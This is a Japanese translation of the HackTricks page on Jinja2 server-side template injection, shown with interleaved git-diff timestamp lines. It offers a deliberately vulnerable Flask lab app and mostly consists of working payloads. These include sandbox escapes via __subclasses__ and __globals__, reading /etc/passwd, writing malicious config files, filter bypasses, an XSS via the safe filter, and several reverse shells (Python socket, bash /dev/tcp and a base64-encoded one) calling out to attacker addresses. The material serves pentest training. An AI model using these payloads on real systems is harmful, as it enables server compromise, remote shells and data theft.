2022-07-20 01:03:41 +00:00
# Jinja2 SSTI
< details >
2024-01-01 20:59:40 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )を**フォローする**。
* [**HackTricks** ](https://github.com/carlospolop/hacktricks )と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
2022-07-20 01:03:41 +00:00
< / details >
2024-01-01 20:59:40 +00:00
## **ラボ**
2022-07-20 01:03:41 +00:00
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app .route("/")
def home():
2023-07-07 23:42:27 +00:00
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
2022-07-20 01:03:41 +00:00
if __name__ == "__main__":
2023-07-07 23:42:27 +00:00
app.run()
2022-07-20 01:03:41 +00:00
```
2023-07-07 23:42:27 +00:00
## **その他**
2022-07-20 01:03:41 +00:00
2023-07-07 23:42:27 +00:00
### **デバッグステートメント**
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
デバッグ拡張機能が有効になっている場合、現在のコンテキストや利用可能なフィルターとテストをダンプするための `debug` タグが利用可能になります。これは、デバッガーを設定せずにテンプレートで使用できるものが何かを確認するのに役立ちます。
2022-07-20 01:03:41 +00:00
```python
< pre >
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% debug %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2022-07-20 01:03:41 +00:00
< / pre >
```
2023-07-07 23:42:27 +00:00
### **すべての設定変数をダンプする**
2022-07-20 01:03:41 +00:00
```python
{{ config }} #In these object you can find all the configured env variables
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
2022-11-05 10:28:41 +00:00
{% for key, value in config.items() %}
2023-07-07 23:42:27 +00:00
< dt > {{ key|e }}< / dt >
< dd > {{ value|e }}< / dd >
2022-07-20 01:03:41 +00:00
{% endfor %}
{% endraw %}
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2022-07-20 01:03:41 +00:00
```
2023-07-07 23:42:27 +00:00
## **Jinjaインジェクション**
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
まず、Jinjaインジェクションでは、**サンドボックスから脱出し**、通常のPython実行フローにアクセスを回復する方法を見つける必要があります。これを行うには、**サンドボックス環境内からアクセス可能だが、非サンドボックス環境からの**オブジェクトを**悪用する**必要があります。
2022-07-20 01:03:41 +00:00
2023-07-07 23:42:27 +00:00
### グローバルオブジェクトへのアクセス
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
例えば、コード `render_template("hello.html", username=username, email=email)` では、オブジェクトusernameとemailは**非サンドボックス化されたPython環境から来ており**、**サンドボックス化された環境内でアクセス可能**です。\
さらに、以下のオブジェクトは**常にサンドボックス化された環境からアクセス可能**です:
2022-07-20 01:03:41 +00:00
```
[]
''
()
dict
config
request
```
2024-01-01 20:59:40 +00:00
### \<class 'object'> の回復
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
これらのオブジェクトから、定義された**クラス**を**回復**しようとするために、**`< class ' object ' > `** というクラスに到達する必要があります。これは、このオブジェクトから ** `__subclasses__` ** メソッドを呼び出し、**サンドボックス化されていない** Python 環境のすべてのクラスに**アクセス**できるためです。
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
その**オブジェクトクラス**にアクセスするには、**クラスオブジェクトにアクセス**し、その後 ** `__base__` **、**`__mro__()`**`[-1]` または `.` **`mro()[-1]`** にアクセスする必要があります。そして、この**オブジェクトクラス**に到達した**後**、**`__subclasses__()`** を**呼び出します**。
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
これらの例を確認してください:
2022-07-20 01:03:41 +00:00
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It 's already a class
2023-07-07 23:42:27 +00:00
# From a class to access the class "object".
2022-07-20 01:03:41 +00:00
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2022-07-20 01:03:41 +00:00
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
2024-01-01 20:59:40 +00:00
### RCE エスケープ
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
`<class 'object'>` を**回復した後**、`__subclasses__` を呼び出して、ファイルの読み書きやコードの実行に使用できるクラスを利用できるようになりました。
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
`__subclasses__` の呼び出しにより、**何百もの新しい関数にアクセスする機会**が得られましたが、**ファイルクラスにアクセスしてファイルを読み書きする**ことや、コマンドを実行する機能を持つクラス(`os` のような)にアクセスするだけで満足します。
2022-07-20 01:03:41 +00:00
2023-07-07 23:42:27 +00:00
**リモートファイルの読み書き**
2022-07-20 01:03:41 +00:00
```python
2022-11-05 10:28:41 +00:00
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
2022-07-20 01:03:41 +00:00
```
2024-01-01 20:59:40 +00:00
**RCE( リモートコード実行) **
2022-07-20 01:03:41 +00:00
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2022-07-20 01:03:41 +00:00
```
2024-01-01 20:59:40 +00:00
**より多くのクラス**について学ぶために、**エスケープ**するために使用できるものを**確認**するには:
2022-07-20 01:03:41 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ )
{% endcontent-ref %}
2024-01-01 20:59:40 +00:00
### フィルターのバイパス
2022-07-20 01:03:41 +00:00
2023-07-07 23:42:27 +00:00
#### 一般的なバイパス
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
これらのバイパスにより、一部の文字を**使用せずに**オブジェクトの**属性**に**アクセス**することができます。\
これらのバイパスのいくつかは前の例で既に見ていますが、ここでそれらをまとめてみましょう:
2022-07-20 01:03:41 +00:00
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__ " (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}& f=%s%sclass%s%s& a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}& l=a& a=_& a=_& a=class& a=_& a=_
# Using with
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2022-07-20 01:03:41 +00:00
```
2024-01-01 20:59:40 +00:00
* [**グローバルオブジェクトにアクセスするためのさらなるオプションに戻る** ](jinja2-ssti.md#accessing-global-objects )
* [**オブジェクトクラスにアクセスするためのさらなるオプションに戻る** ](jinja2-ssti.md#recovering-less-than-class-object-greater-than )
* [**オブジェクトクラスなしでRCEを取得するには、これを読む** ](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than )
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
**HTMLエンコーディングを避ける**
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
デフォルトでは、Flaskはセキュリティ上の理由からテンプレート内のすべてをHTMLエンコードします:
2022-07-20 01:03:41 +00:00
```python
{{'< script > alert ( 1 ) ; < / script > '}}
#will be
< script> alert(1);< /script>
```
2024-01-01 20:59:40 +00:00
**`safe`** フィルターを使用すると、次のように、JavaScriptやHTMLをページに**HTMLエンコードされずに**注入することができます:
2022-07-20 01:03:41 +00:00
```python
{{'< script > alert ( 1 ) ; < / script > '|safe}}
#will be
< script > alert ( 1 ) ; < / script >
```
2024-01-01 20:59:40 +00:00
**悪意のある設定ファイルを書き込むことによるRCE。**
2022-07-20 01:03:41 +00:00
```python
# evil config
2023-07-07 23:42:27 +00:00
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
2022-07-20 01:03:41 +00:00
# load the evil config
2023-07-07 23:42:27 +00:00
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
2022-07-20 01:03:41 +00:00
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>& 1"',shell=True) }}
```
2024-01-01 20:59:40 +00:00
## 複数の文字なし
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
**`{{`** ** `.` ** ** `[` ** ** `]` ** ** `}}` ** ** `_` ** なし
2023-02-23 14:32:10 +00:00
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2023-02-23 14:32:10 +00:00
```
2024-01-01 20:59:40 +00:00
## Jinjaインジェクション **\<class 'object'>** なしで
2023-02-23 14:32:10 +00:00
2024-01-01 20:59:40 +00:00
[**グローバルオブジェクト** ](jinja2-ssti.md#accessing-global-objects )から、そのクラスを使用せずに **RCEに到達する別の方法があります。** \
グローバルオブジェクトの任意の**関数**に到達できれば、**`__globals__.__builtins__`** にアクセスし、そこから **RCE** は非常に**シンプル**です。
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
オブジェクト ** `request` **、**`config`** およびアクセス可能なその他の興味深い**グローバルオブジェクト**から**関数を見つける**ことができます:
2022-07-20 01:03:41 +00:00
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
2024-01-01 20:59:40 +00:00
```markdown
一度関数を見つけたら、以下の方法でbuiltinsを復元できます:
```
2022-07-20 01:03:41 +00:00
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
2023-07-07 23:42:27 +00:00
## 参考文献
2022-07-20 01:03:41 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 )
2024-01-01 20:59:40 +00:00
* [attr トリックを使ってブラックリストに載っている文字をバイパスする方法はこちら ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3 )をチェックしてください。
2022-07-20 01:03:41 +00:00
* [https://twitter.com/SecGus/status/1198976764351066113 ](https://twitter.com/SecGus/status/1198976764351066113 )
* [https://hackmd.io/@Chivato/HyWsJ31dI ](https://hackmd.io/@Chivato/HyWsJ31dI )
< details >
2024-01-01 20:59:40 +00:00
< summary > < strong > AWS ハッキングをゼロからヒーローまで学ぶには< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > をご覧ください!< / strong > < / summary >
HackTricks をサポートする他の方法:
2022-07-20 01:03:41 +00:00
2024-01-01 20:59:40 +00:00
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式の PEASS & HackTricks グッズ** ](https://peass.creator-spring.com )を入手してください。
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見してください。私たちの独占的な [**NFTs** ](https://opensea.io/collection/the-peass-family ) のコレクションです。
* 💬 [**Discord グループ** ](https://discord.gg/hRep4RUj7f )に**参加するか**、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm ) を **フォローしてください。**
* **ハッキングのトリックを共有するために** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) と [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) の github リポジトリに PR を提出してください。
2022-07-20 01:03:41 +00:00
< / details >